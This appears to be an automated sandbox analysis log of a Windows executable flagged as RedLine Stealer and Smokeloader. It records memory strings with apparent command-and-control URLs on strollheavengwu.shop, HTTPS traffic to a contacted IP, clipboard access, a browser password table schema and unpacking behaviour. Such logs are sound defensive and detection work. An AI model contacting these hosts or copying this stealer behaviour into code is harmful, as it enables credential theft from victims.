Source: file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1839375130.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/9my$
Source: file.exe, 00000000.00000003.1650711919.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1839431859.0000000001D92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api
Source: file.exe, 00000000.00000003.1650823034.0000000001D3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650711919.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api/
Source: file.exe, 00000000.00000002.1839431859.0000000001D92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apiRO
Source: file.exe, 00000000.00000002.1839431859.0000000001D92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apiy
Source: file.exe, 00000000.00000003.1660461101.0000000001D76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/d
Source: file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1839375130.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/hZyI
Source: file.exe, 00000000.00000003.1660461101.0000000001D76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/o
Source: file.exe, 00000000.00000003.1651004251.000000000426E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1651004251.000000000426C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651072073.0000000004265000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1651072073.0000000004240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1651004251.000000000426C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651072073.0000000004265000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1651072073.0000000004240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.163.209:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0042D8F0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D8F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0042D8F0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D8F0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1838816831.0000000001CBE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421370	0_2_00421370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004046D0	0_2_004046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00420C42	0_2_00420C42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406030	0_2_00406030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421090	0_2_00421090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00426097	0_2_00426097
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410140	0_2_00410140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00426148	0_2_00426148
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004261C3	0_2_004261C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004261D5	0_2_004261D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403492	0_2_00403492
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405567	0_2_00405567
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004365C0	0_2_004365C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004065F0	0_2_004065F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403670	0_2_00403670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043B6A0	0_2_0043B6A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040581F	0_2_0040581F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00433950	0_2_00433950
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043B9D0	0_2_0043B9D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004069B4	0_2_004069B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405B18	0_2_00405B18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041DB22	0_2_0041DB22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407C70	0_2_00407C70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403CEF	0_2_00403CEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EC0	0_2_00402EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036A63AF	0_2_036A63AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036903A7	0_2_036903A7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036A62FE	0_2_036A62FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03686297	0_2_03686297
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03683127	0_2_03683127
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03683517	0_2_03683517
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036855DB	0_2_036855DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036A15D7	0_2_036A15D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036A642A	0_2_036A642A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036A643C	0_2_036A643C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036B3BB7	0_2_036B3BB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03684937	0_2_03684937
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036BB907	0_2_036BB907
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036B6827	0_2_036B6827
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03683F47	0_2_03683F47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03687ED7	0_2_03687ED7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_036BBC37	0_2_036BBC37

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 03688957 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 03690547 appears 188 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004102E0 appears 188 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004086F0 appears 34 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6244 -s 1468

Source: file.exe, 00000000.00000003.1633032422.0000000001D3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires0 vs file.exe
Source: file.exe, 00000000.00000002.1838555126.0000000001A14000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameFires0 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1838816831.0000000001CBE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/9@1/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01CBF71E CreateToolhelp32Snapshot,Module32First,

0_2_01CBF71E

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004286B8 CoCreateInstance,

0_2_004286B8

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6244

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\67642684-fdb8-42cb-97ef-68a045875a97

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1651443527.0000000004215000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651213584.0000000004244000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 46%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6244 -s 1468
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6244 -s 1688

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\kirovivi zadadowog.pdb source: file.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01CC5248 push esi; retf		0_2_01CC524C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01CC5233 push es; iretd		0_2_01CC5245

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
